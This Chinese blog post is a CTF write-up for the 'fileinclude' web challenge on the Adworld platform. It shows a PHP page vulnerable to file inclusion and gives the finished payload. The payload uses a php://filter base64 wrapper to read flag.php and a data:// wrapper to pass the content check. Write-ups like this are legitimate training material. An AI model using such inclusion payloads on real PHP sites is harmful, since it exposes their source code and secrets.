首页 > 其他分享 >CTFer成长记录——CTF之Web专题·攻防世界—fileinclude·好多文件呀

CTFer成长记录——CTF之Web专题·攻防世界—fileinclude·好多文件呀

时间:2023-07-29 10:35:12浏览次数:43  
标签:Web file1 file2 flag ctf CTF CTFer php hello

一、题目链接

https://adworld.xctf.org.cn/challenges/list

二、解法步骤

  

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

  需要传入两个参数file1与file2,其中要保证file2参数中的文件内容是hello ctf,传法是:file2=data://text/plain,hello ctf,直接传hello ctf是不行的,

  file1就用来读取flag.php文件,传法是:?file1=php://filter/convert.base64-encode/resource=flag.php

  最后构造payload:?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf

  获取到base64密文,解密即可得到flag

三、总结

  本题的文件上传需要审计代码,要清楚每个参数的作用,还要知道参数的文件内容写入方法。

  

标签:Web,file1,file2,flag,ctf,CTF,CTFer,php,hello
From: https://www.cnblogs.com/miraclewolf/p/17589377.html

相关文章

  • CTFer成长记录——CTF之Web专题·攻防世界—easyupload
    一、题目链接https://adworld.xctf.org.cn/challenges/list二、解法步骤  这题一道文件上传题,本题考的是利用.user.ini文件的特性,实现任意命令执行。在测试该文件上传是白名单还是黑名单,我们可以随便上传一个文件后缀,只要不通过就是白名单检测。.user.ini。它比.htacces......
  • asp.net core 2.0 web api基于JWT自定义策略授权
    原文通过登录,来获取Token,再在之后每次请求的Header中追加Authorization为Token的凭据,服务端验证通过即可能获取想要访问的资源。关于JWT的技术,可参考网络上文章,这里不作详细说明,这篇博文,主要说明在asp.netcore2.0中,基于jwt的webapi的权限设置,即在asp.netcore中怎么用JWT,再次......
  • not_the_same_3dsctf_2016
    0X01和get_started_3dsctf_2016类似大概思路是先控制程序流到get_secret函数读取flag到f14g变量,再控制返回地址为write函数输出f14g变量的内容frompwnimport*p=remote("node4.buuoj.cn",25684)elf=ELF(./not_the_same_3dsctf_2016)write_addr=elf.sym['write']......
  • get_started_3dsctf_2016
    0x00最近持续学习栈溢出,努力熟悉各种利用方法,争取这周和下周把栈溢出这块结束发现自己的WP好久没有更新了,BUUCTF也攒了好多于是,为了让自己更进一步熟悉栈溢出攻击,温故知新,同时方便自己查找(希望不是浪费时间),WP补完计划,启动!(我可不是看了孙导的奖励临时起意的)0x01IDA分析``......
  • Java Web|
    1.Spring1.1SpringMVC参数的封装1.传统的URLlocalhost:8080?id=1&name=tom2.基于RESTful风格的URLlocalhost:8080/1/tom前后端分离的开发一般是基于RESTfull,具体规则是4中请求分别表示不同的业务GET查询POST添加PUT修改DELETE删除每个语言使用的时候都一样,是一种规......
  • [SWPUCTF 2021 新生赛]pop
    [SWPUCTF2021新生赛]pop题目来源:nssctf题目类型:web涉及考点:PHP反序列化、pop链1.上来先做代码审计<?phperror_reporting(0);show_source("index.php");classw44m{private$admin='aaa';protected$passwd='123456';publicfunction......
  • 搭建MC(我的世界)服务器,带Web管理面板
    本文章使用MCSManager管理面板和1.12.2版的mc服务端购买云服务器这里以腾讯云为例,其他服务器推荐:https://blog.zeruns.tech/archives/383.html注册腾讯云:https://cloud.tencent.com/act/cps/redirect?redirect=11699&cps_key=69aab81d20a9e10e5ad56107d5303535购买地址:https://clou......
  • Android web services详细使用
    Android与服务器端数据交互(基于SOAP协议整合android+webservice)上一节中我们通过http协议,采用HttpClient向服务器端action请求数据。当然调用服务器端方法获取数据并不止这一种。WebService也可以为我们提供所需数据,那么什么是webService呢?,它是一种基于SAOP协议的远程调用标准,......
  • Google网站管理员:提升移动Web性…
    移动互联网已经在全球得到了广泛的应用。到2009年,有50%的新增的互联网访问都是来自手机设备的(eMarket,2008和2009)。来自Google的内部资料显示,随着移动浏览器的提升,用户的浏览习惯也在逐步改进。移动浏览器上的页面布局与桌面浏览器有着显著的差异,所以,想要在移动设备上开......
  • CTFer成长记录——CTF之Misc专题·攻防世界—适合作为桌面
    一、题目链接https://adworld.xctf.org.cn/challenges/list二、解法步骤  附件是一张炫酷的.png图片:  常规操作无效后,考虑其他的隐写软件:stegsovle。打开后,尝试不同的文件通道,发现有二维码出现:扫描后是一段16进制字符串:  在010中新建16进制文件,使用ctrl+shitf+v......